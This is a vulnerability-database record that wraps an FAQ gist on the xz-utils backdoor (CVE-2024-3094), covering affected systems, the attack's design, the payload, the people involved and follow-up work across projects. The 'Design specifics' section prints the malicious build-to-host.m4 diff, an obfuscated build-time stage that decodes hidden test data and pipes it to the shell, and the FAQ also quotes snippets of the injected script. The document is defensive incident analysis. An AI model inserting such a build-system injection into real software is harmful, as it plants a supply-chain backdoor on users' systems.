{"uuid": "c0368622-d5cb-4d77-9a06-f5cd953ed3c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-3094", "type": "seen", "source": "https://gist.github.com/pranta2003/6981ca06b80cf92b27875f1130fb811e", "content": "# FAQ on the xz-utils backdoor (CVE-2024-3094)\n\nThis is a living document. Everything in this document is made in good\nfaith of being accurate, but like I just said; we don't yet know everything\nabout what's going on.\n\n_Update_: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.\n\n## Background\n\nOn March 29th, 2024, a backdoor was discovered in\n[xz-utils](https://tukaani.org/xz/), a suite of software that\ngives developers lossless compression. This package is commonly used\nfor compressing release tarballs, software packages, kernel images,\nand initramfs images. It is very widely distributed, statistically\nyour average Linux or macOS system will have it installed for\nconvenience.\n\nThis backdoor is very indirect and only shows up when a few _known_ specific\ncriteria are met. Others may be yet discovered! However, this backdoor is _at least_ \ntriggerable by remote unprivileged systems connecting to public SSH ports. This has been\nseen in the wild where it gets activated by connections - resulting in performance\nissues, but we do not know yet what is required to bypass authentication (etc) with it.\n\nWe're reasonably sure the following things need to be true for your system\nto be vulnerable:\n\n* You need to be running a distro that uses glibc (for IFUNC)\n* You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed\n  (xz-utils provides the library liblzma) - likely only true if \n  running a rolling-release distro and updating religiously.\n\nWe know that the combination of *systemd* and *patched openssh* are\nvulnerable but pending further analysis of the payload, we cannot\nbe certain that other configurations aren't.\n\nWhile not scaremongering, it is important to be clear that **at this stage,\nwe got lucky, and there may well be other effects of the infected liblzma**.\n\nIf you're running a publicly accessible `sshd`, then you are - as a rule\nof thumb for those not wanting to read the rest here - likely vulnerable.\n\nIf you aren't, it is unknown for now, but you should update as quickly as possible\nbecause investigations are continuing.\n\nTL:DR:\n* Using a `.deb` or `.rpm` based distro with glibc and xz-5.6.0 or xz-5.6.1:\n  * Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW\n  * Otherwise: update RIGHT NOW NOW but prioritize the former\n* Using another type of distribution:\n  * With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.\n\nIf all of these are the case, please update your systems to mitigate\nthis threat. For more information about affected systems and how to\nupdate, please see [this\narticle](https://xeiaso.net/notes/2024/xz-vuln/) or check the\n[xz-utils page on Repology](https://repology.org/project/xz/versions).\n\nThis is not a fault of sshd, systemd, or glibc, that is just how it\nwas made exploitable.\n\n## Design\n\nThis backdoor has several components. At a high level:\n\n* The release tarballs upstream publishes don't have the same code\n  that GitHub has. This is common in C projects so that downstream\n  consumers don't need to remember how to run autotools and autoconf.\n  The version of `build-to-host.m4` in the release tarballs differs\n  wildly from the upstream on Savannah.\n* There are crafted test files in the `tests/` folder within the git repository too.\n  These files are in the following commits:\n    - `tests/files/bad-3-corrupt_lzma2.xz` ([cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0](https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0), [74b138d2a6529f2c07729d7c77b1725a8e8b16f1](https://github.com/tukaani-project/xz/commit/74b138d2a6529f2c07729d7c77b1725a8e8b16f1))\n    - `tests/files/good-large_compressed.lzma`\n      ([cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0](https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0),\n      [74b138d2a6529f2c07729d7c77b1725a8e8b16f1](https://github.com/tukaani-project/xz/commit/74b138d2a6529f2c07729d7c77b1725a8e8b16f1))\n* Note that the bad commits have since been reverted in [e93e13c8b3bec925c56e0c0b675d8000a0f7f754](https://github.com/tukaani-project/xz/commit/e93e13c8b3bec925c56e0c0b675d8000a0f7f754)\n* A script called by `build-to-host.m4` that unpacks this malicious\n  test data and uses it to modify the build process.\n* IFUNC, a mechanism in glibc that allows for indirect function calls,\n  is used to perform runtime hooking/redirection of OpenSSH's\n  authentication routines. IFUNC is a tool that is normally used for\n  legitimate things, but in this case it is exploited for this attack\n  path.\n  \nNormally upstream publishes release tarballs that are different than\nthe automatically generated ones in GitHub. In these modified\ntarballs, a malicious version of `build-to-host.m4` is included to\nexecute a script during the build process.\n\nThis script (at least in versions 5.6.0 and 5.6.1) checks for various\nconditions like the architecture of the machine. Here is a snippet of\nthe malicious script that gets unpacked by `build-to-host.m4` and an\nexplanation of what it does:\n\n>```if ! (echo \"$build\" | grep -Eq \"^x86_64\" > /dev/null 2>&1) && (echo \"$build\" | grep -Eq \"linux-gnu$\" > /dev/null 2>&1);then```\n\n* If amd64/x86_64 is the target of the build\n* And if the target uses the name `linux-gnu` (mostly checks for the\n  use of glibc)\n\nIt also checks for the toolchain being used:\n\n> ```\n>   if test \"x$GCC\" != 'xyes' > /dev/null 2>&1;then\n>   exit 0\n>   fi\n>   if test \"x$CC\" != 'xgcc' > /dev/null 2>&1;then\n>   exit 0\n>   fi\n>   LDv=$LD\" -v\"\n>   if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then\n>   exit 0\n> ```\n\nAnd if you are trying to build a Debian or Red Hat package:\n\n> ```if test -f \"$srcdir/debian/rules\" || test \"x$RPM_ARCH\" = \"xx86_64\";then```\n\nThis attack thusly seems to be targeted at amd64 systems running glibc\nusing either Debian or Red Hat derived distributions. Other systems\nmay be vulnerable at this time, but we don't know.\n\nLasse Collin, the original long-standing xz maintainer, is currently working on\nauditing the `xz.git`.\n\n## Design specifics\n\n```diff\n$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4\ndiff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4\nindex f928e9ab..d5ec3153 100644\n--- a/m4/build-to-host.m4\n+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4\n@@ -1,4 +1,4 @@\n-# build-to-host.m4 serial 3\n+# build-to-host.m4 serial 30\n dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.\n dnl This file is free software; the Free Software Foundation\n dnl gives unlimited permission to copy and/or distribute it,\n@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],\n \n   dnl Define somedir_c.\n   gl_final_[$1]=\"$[$1]\"\n+  gl_[$1]_prefix=`echo $gl_am_configmake | sed \"s/.*\\.//g\"`\n   dnl Translate it from build syntax to host syntax.\n   case \"$build_os\" in\n     cygwin*)\n@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],\n   if test \"$[$1]_c_make\" = '\\\"'\"${gl_final_[$1]}\"'\\\"'; then\n     [$1]_c_make='\\\"$([$1])\\\"'\n   fi\n+  if test \"x$gl_am_configmake\" != \"x\"; then\n+    gl_[$1]_config='sed \\\"r\\n\\\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'\n+  else\n+    gl_[$1]_config=''\n+  fi\n+  _LT_TAGDECL([], [gl_path_map], [2])dnl\n+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl\n+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl\n+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl\n+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl\n   AC_SUBST([$1_c_make])\n+\n+  dnl If the host conversion code has been placed in $gl_config_gt,\n+  dnl instead of duplicating it all over again into config.status,\n+  dnl then we will have config.status run $gl_config_gt later, so it\n+  dnl needs to know what name is stored there:\n+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt=\"eval \\$gl_[$1]_config\"])\n ])\n \n dnl Some initializations for gl_BUILD_TO_HOST.\n AC_DEFUN([gl_BUILD_TO_HOST_INIT],\n [\n+  dnl Search for Automake-defined pkg* macros, in the order\n+  dnl listed in the Automake 1.10a+ documentation.\n+  gl_am_configmake=`grep -aErls \"#{4}[[:alnum:]]{5}#{4}$\" $srcdir/ 2>/dev/null`\n+  if test -n \"$gl_am_configmake\"; then\n+    HAVE_PKG_CONFIGMAKE=1\n+  else\n+    HAVE_PKG_CONFIGMAKE=0\n+  fi\n+\n   gl_sed_double_backslashes='s/\\\\/\\\\\\\\/g'\n   gl_sed_escape_doublequotes='s/\"/\\\\\"/g'\n+  gl_path_map='tr \"\\t \\-_\" \" \\t_\\-\"'\n changequote(,)dnl\n   gl_sed_escape_for_make_1=\"s,\\\\([ \\\"&'();<>\\\\\\\\\\`|]\\\\),\\\\\\\\\\\\1,g\"\n changequote([,])dnl\n```\n\n## Payload\n\nIf those conditions check, the payload is injected into the source\ntree. We have not analyzed this payload in detail. Here are the main\nthings we know:\n\n* The payload activates if the running program has the process\n  name `/usr/sbin/sshd`. Systems that put `sshd` in\n  `/usr/bin` or another folder may or may not be vulnerable.\n* It may activate in other scenarios too, possibly even unrelated to ssh.\n* We don't entirely know the payload is intended to do. We are\n  investigating.\n* Successful exploitation does not generate any log entries.\n* Vanilla upstream OpenSSH isn't affected unless one of its\n  dependencies links `liblzma`.\n  * Lennart Poettering had [mentioned](https://news.ycombinator.com/item?id=39867126) that it may happen\n  via pam->libselinux->liblzma, and possibly in other cases too, but...\n  * libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.\n  * PAM modules are loaded too late in the process AFAIK for this to work (another possible example was `pam_fprintd`). Solar Designer [raised this issue](https://openwall.com/lists/oss-security/2024/03/31/9) as well on _oss-security_.\n  \n* The payload is loaded into `sshd` indirectly. `sshd` is often patched\n  to support\n  [systemd-notify](https://www.freedesktop.org/software/systemd/man/249/systemd-notify.html)\n  so that other services can start when sshd is running. `liblzma` is\n  loaded because it's depended on by other parts of `libsystemd`. This\n  is not the fault of systemd, this is more unfortunate. The patch\n  that most distributions use is available here:\n  [openssh/openssh-portable#375](https://github.com/openssh/openssh-portable/pull/375).\n  * _Update_: The OpenSSH developers have added [non-library integration](https://bugzilla.mindrot.org/show_bug.cgi?id=2641#c33) of the systemd-notify protocol so distributions won't be patching it in via `libsystemd` support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.\n  \n* If this payload is loaded in openssh `sshd`, the\n  `RSA_public_decrypt` function will be redirected into a malicious\n  implementation. We have observed that this malicious implementation\n  can be used to bypass authentication. ~Further research is being done\n  to explain why.~\n    * Filippo Valsorda has shared [analysis](https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b) indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to `system()`, giving remote code execution (RCE).\n\n## Tangential xz bits\n\n* Jia Tan's [328c52da8a2bbb81307644efdb58db2c422d9ba7](https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7) commit contained a `.` in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.\n  * Hardening of CMake's `check_c_source_compiles` has been proposed (see _Other projects_).\n\n* IFUNC was introduced for _crc64_ in [ee44863ae88e377a5df10db007ba9bfadde3d314](https://git.tukaani.org/?p=xz.git;a=commit;h=ee44863ae88e377a5df10db007ba9bfadde3d314) by _Hans Jansen_.\n  * _Hans Jansen_ later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.\n\n## People\n\nWe do not want to speculate on the people behind this project in this\ndocument. This is not a productive use of our time, and law\nenforcement will be able to handle identifying those responsible. They\nare likely patching their systems too.\n\nxz-utils had two maintainers:\n\n* Lasse Collin (_Larhzu_) who has maintained xz since the beginning\n  (~2009), and before that, `lzma-utils`.\n* Jia Tan (_JiaT75_) who started contributing to xz in the last 2-2.5\n  years and gained commit access, and then release manager rights,\n  about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins\n  his long work ahead.\n\nLasse regularly has internet breaks and was on one of these\nas this all kicked off. He has posted an update\nat https://tukaani.org/xz-backdoor/ and is working with the community.\n\nPlease be patient with him as he gets up to speed and takes time\nto analyse the situation carefully.\n\n## Misc notes\n* [Please __do not__ use `ldd` on untrusted binaries](https://jmmv.dev/2023/07/ldd-untrusted-binaries.html)\n  * [[PATCH] ldd: Do not recommend binutils as the safer option](https://lore.kernel.org/linux-man/20231016061923.105814-1-siddhesh@gotplt.org/t/#u)\n* [Internet Archive has a collection of the release tarballs](https://web.archive.org/web/*/https://github.com/tukaani-project/xz/releases/download/*)\n* I've also created a git repo for my own convenience at https://github.com/thesamesam/xz-archive.\n* Lasse Collin's in-progress [review notes](https://tukaani.org/xz-backdoor/review.html) as he audits xz.git\n\n## Analysis of the payload\n\nThis is the part which is very much in flux. It's early days yet.\n\nThese two especially do a great job of analysing the initial/bash stages:\n* [xz/liblzma: Bash-stage Obfuscation Explained](https://gynvael.coldwind.pl/?lang=en&id=782) by @gynvael\n* [The xz attack shell script](https://research.swtch.com/xz-script) by Russ Cox\n\nOther great resources:\n* [Filippo Valsorda's bluesky thread](https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b)\n* [XZ Backdoor Analysis (WIP)](https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504) by @smx-smx\n  * [XZ backdoor reverse engineering - git repo](https://github.com/smx-smx/xzre)\n* [xz backdoor documentation wiki](https://github.com/Midar/xz-backdoor-documentation/wiki) by @Midar et. al\n* [modify_ssh_rsa_pubkey.py](https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4) - script to trigger more parts of the payload in a compromised `sshd` by @keeganryan\n* [xz-malware](https://github.com/karcherm/xz-malware) by @karcherm\n* [xz-backdoor](https://github.com/hamarituc/xz-backdoor) by @hamarituc\n* [xzbot: notes, honeypot, and exploit demo](https://github.com/amlweems/xzbot) by @amlweems. This contains binary patching for the key!\n* [XZ Backdoor Extract](https://github.com/0xlane/xz-cve-2024-3094) by @0xlane\n* https://github.com/blasty/JiaTansSSHAgent\n* [XZ backdoor story \u2013 Initial analysis](https://securelist.com/xz-backdoor-story-part-1/112354) (part 1) by Kaspersky\n  * [Assessing the Y, and How, of the XZ Utils incident](https://securelist.com/xz-backdoor-story-part-2-social-engineering/112476/) (part 2) by Kaspersky\n* [liblzma.so infection](https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor) by binarly.io\n* [Minimal setup to trigger the xz backdoor](https://github.com/felipec/xz-min) by @felipec\n\n## Other projects\n\nThere are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.\n\n* libarchive is being checked out:\n  * https://github.com/libarchive/libarchive/issues/2103 coordinates the review effort\n  * https://github.com/libarchive/libarchive/pull/1609 was made by Jia Tan\n    * [Solar Designer's take](https://openwall.com/lists/oss-security/2024/03/31/11) - with an interesting discussion about how terminal applications should act here\n    * The initial fix post-review for this was https://github.com/libarchive/libarchive/pull/2101 (https://github.com/libarchive/libarchive/commit/6110e9c82d8ba830c3440f36b990483ceaaea52c).\n    * After review, https://github.com/libarchive/libarchive/pull/2101 was made by libarchive maintainers.\n    * It doesn't appear exploitable but the change in https://github.com/libarchive/libarchive/pull/2101 was made out of caution.\n    * One of the libarchive maintainers has filed https://github.com/libarchive/libarchive/issues/2107 to discuss a better fix as well.\n\n* https://github.com/google/oss-fuzz/pull/10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils\n  * It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.\n  * Note that IFUNC _is_ a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.\n    * gcc [PR70082](https://gcc.gnu.org/PR70082)\n    * gcc [PR87482](https://gcc.gnu.org/PR87482)\n    * gcc [PR110442](https://gcc.gnu.org/PR110442)\n    * gcc [PR114115](https://gcc.gnu.org/PR114115) - a real bug which xz found(!)\n\n## Tangential efforts as a result of this incident\n\nThis is for suggesting specific changes which are being considered as a result of this.\n\n* CMake: [Consider hardening check_c_source_compiles](https://gitlab.kitware.com/cmake/cmake/-/issues/25846) - [MR](https://gitlab.kitware.com/cmake/cmake/-/merge_requests/9391)\n* bug-autoconf: [Add a syntax check to code snippets](https://savannah.gnu.org/support/?111048)\n* bug-autoconf: [autoreconf --force seemingly does not forcibly update everything](https://lists.gnu.org/archive/html/bug-autoconf/2024-03/msg00000.html)\n* systemd: [Reduce dependencies of libsystemd](https://github.com/systemd/systemd/issues/32028)\n  * _Note_: There was prior work already on this in e.g. https://github.com/systemd/systemd/pull/31550. While it was initially thought that this [may have](https://openwall.com/lists/oss-security/2024/03/31/9) have caused acceleration of plans to backdoor xz, as the systemd changes had not yet landed in a release, the timing doesn't seem to work out..\n    * _xz-5.6.0_, the first known-backdoored version, was released on 2024-02-26.\n    * Per Debian's [package tracker](https://tracker.debian.org/pkg/xz-utils), _xz-5.6.0_ was first added on that same day. This predates the systemd PR which was opened on 2024-02-29.\n    * That said, the [original PR](https://github.com/systemd/systemd/pull/31131) to move systemd towards more `dlopen()` for e.g. `kmod` was opened on 2024-01-30.\n    * On the same day, a systemd developer [suggested](https://github.com/systemd/systemd/pull/31131#issuecomment-1917954597) extending the approach to compression libraries.\n* systemd: [RFC: expose dlopen() dependencies in an ELF section](https://github.com/systemd/systemd/pull/32234)\n  * [LWN](https://lwn.net/Articles/969908/)\n* groff: [[PATCH] Distribute bootstrap and bootstrap.conf](https://lists.gnu.org/archive/html/groff/2024-03/msg00211.html)\n* GNU binutils: [Remove dependency on libjansson](https://inbox.sourceware.org/binutils/CACKH++ZCwhA9n9GfsWPmBQgsSrvfeOpLha0=UCpHzPDD8vQpNQ@mail.gmail.com/T/#u)\n  * This is being proposed by @rui314, the maintainer of mold. Rui also wrote about the risks to linkers in https://x.com/rui314/status/1774286434335338965.\n* openssh\n  * Note that as covered above, OpenSSH are looking at removing the need for downstreams to patch in libsystemd by implementing a library-less version of the same functionality.\n  * Andres Freund noticed an interesting [tangential bug/area for improvement](https://bugzilla.mindrot.org/show_bug.cgi?id=3675) when analysing the exploit, which would avoid checking against algorithms disabled by configuration. (This is not a vulnerability in OpenSSH and it wouldn't have prevented any of this, but it's come out of this whole thing nonetheless).\n* Auditing Linux distribution packages with [distro-backdoor-scanner](https://github.com/hlein/distro-backdoor-scanner)\n* esr's [autodafe](https://gitlab.com/esr/autodafe/) to aid conversion from autotools -> Makefiles\n* backseat-signed: [New supply-chain security tool: backseat-signed](https://lists.debian.org/debian-devel/2024/04/msg00088.html)\n  * github: https://github.com/kpcyrd/backseat-signed\n \n## Discussions in the wake of this\n\nThis is for linking to interesting general discussions, rather than specific changes being suggested (see above).\n\n* automake: [GNU Coding Standards, automake, and the recent xz-utils backdoor](https://lists.gnu.org/archive/html/automake/2024-03/msg00007.html)\n* bug-gnulib: [git repositories vs. tarballs](https://lists.gnu.org/archive/html/bug-gnulib/2024-04/msg00239.html)\n* fedora-devel: [Three steps we could take to make supply chain attacks a bit harder](https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/YWMNOEJ34Q7QLBWQAB5TM6A2SVJFU4RV/)\n* debian-devel: [Upstream dist tarball transparency (was Re: Validating tarballs against git repositories)](https://lists.debian.org/debian-devel/2024/04/msg00103.html)\n* oss-security: [Make your own backdoor: CFLAGS code injection, Makefile injection, pkg-config](https://www.openwall.com/lists/oss-security/2024/04/17/3)\n\nNon-mailing list proposals:\n* Simon Josefsson's blog: [Towards reproducible minimal source code tarballs? On *-src.tar.gz](https://blog.josefsson.org/2024/04/01/towards-reproducible-minimal-source-code-tarballs-please-welcome-src-tar-gz/)\n* Simon Josefsson's blog: [Reproducible and minimal source-only tarballs](https://blog.josefsson.org/2024/04/13/reproducible-and-minimal-source-only-tarballs/)\n\n## Acknowledgements\n\n* Andres Freund who discovered the issue and reported it to *linux-distros* and then *oss-security*.\n* All the hard-working security teams helping to coordinate a response and push out fixes.\n* Xe Iaso who resummarized this page for readability.\n* Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.\n\n## Meta\n\n**Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.**\n\nThere are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)\n\n### Response to questions\n\n* A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.\n\n* I'm referenced in one of the [commits](https://git.tukaani.org/?p=xz.git;a=commit;h=72d2933bfae514e0dbb123488e9f1eb7cf64175f) in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to ([PR114115](https://gcc.gnu.org/PR114115)) has been fixed.\n  * On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.\n\n### TODO for this doc\n\n* Add a table of releases + signer?\n* Include the injection script after the macro\n* Mention detection?\n* Explain the bug-autoconf thing maybe wrt serial\n* Explain dist tarballs, why we use them, what they do, link to autotools docs, etc\n  * \"Explaining the history of it would be very helpful I think.  It also explains how a single person was able to insert code in an open source project that no one was able to peer review.  It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner.\"\n\n### TODO overall\n\nAnyone can and should work on these. I'm just listing them so people have a rough idea of what's left.\n\n* **Ensuring Lasse Collin and xz-utils is supported**, even long after the fervour is over\n* Reverse engineering the payload (it's still fairly early days here on this)\n  * Once finished, tell people whether:\n    - the backdoor did anything else than waiting for connections for RCE, like:\n      - call home (send found private keys, etc)\n      - load/execute additional rogue code\n      - did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so\n    - other attack vectors than via sshd were possible\n    - whether people (who had the compromised versions) can feel fully safe\n      *if* they either had sshd not running OR at least not publicly\n      accessible (e.g. because it was behind a firewall, nat, iptables,\n      etc.)\n* Auditing all possibly-tainted xz-utils commits\n* Investigate other paths for `sshd` to get `liblzma` in its process (not just via `libsystemd`, or at least not directly)\n  * This is already partly done and it looks like none exist, but it would be nice to be sure.\n* Checking other projects for similar injection mechanisms (e.g. similar build system lines)\n  * See [distro-backdoor-scanner](https://github.com/hlein/distro-backdoor-scanner)\n  * https://codesearch.debian.net/ may be helpful \n* Diff and review all \"golden\" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.\n* Check other projecs which (recently) introduced IFUNC, as suggested by _thegrugq_.\n  * This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is. \n* ???\n\n## References and other reading material\n\n* [LWN - A backdoor in xz](https://lwn.net/Articles/967180/)\n* [oss-security - backdoor in upstream xz/liblzma leading to ssh server compromise](https://www.openwall.com/lists/oss-security/2024/03/29/4)\n* [Evan Boehs - Everything I know about the XZ backdoor](https://boehs.org/node/everything-i-know-about-the-xz-backdoor)\n* [Tukaani - XZ Utils backdoor](https://tukaani.org/xz-backdoor/)\n* [Rob Mensching - A Microcosm of the interactions in Open Source projects](https://robmensching.com/blog/posts/2024/03/30/a-microcosm-of-the-interactions-in-open-source-projects/)\n* [Russ Cox - Timeline of the xz open source attack](https://research.swtch.com/xz-timeline)\n* [Rhea's Substack - XZ Backdoor: Times, damned times, and scams](https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and)\n* [LWN - Free software's not-so-eXZellent adventure](https://lwn.net/Articles/967866/)\n* [LWN - How the XZ backdoor works](https://lwn.net/Articles/967192/)\n* [LWN - Identifying dependencies used via dlopen()](https://lwn.net/Articles/969908/)\n* [openSUSE - What we need to take away from the XZ Backdoor](https://news.opensuse.org/2024/04/12/learn-from-the-xz-backdoor/)\n* [CISA - Lessons from XZ Utils: Achieving a More Sustainable Open Source Ecosystem](https://www.cisa.gov/news-events/news/lessons-xz-utils-achieving-more-sustainable-open-source-ecosystem)\n* [OpenSSF - Open Source Security (OpenSSF) and OpenJS Foundations Issue Alert for Social Engineering Takeovers of Open Source Projects](https://openssf.org/blog/2024/04/15/open-source-security-openssf-and-openjs-foundations-issue-alert-for-social-engineering-takeovers-of-open-source-projects/)\n* https://github.com/przemoc/xz-backdoor-links", "creation_timestamp": "2026-06-13T06:42:22.000000Z"}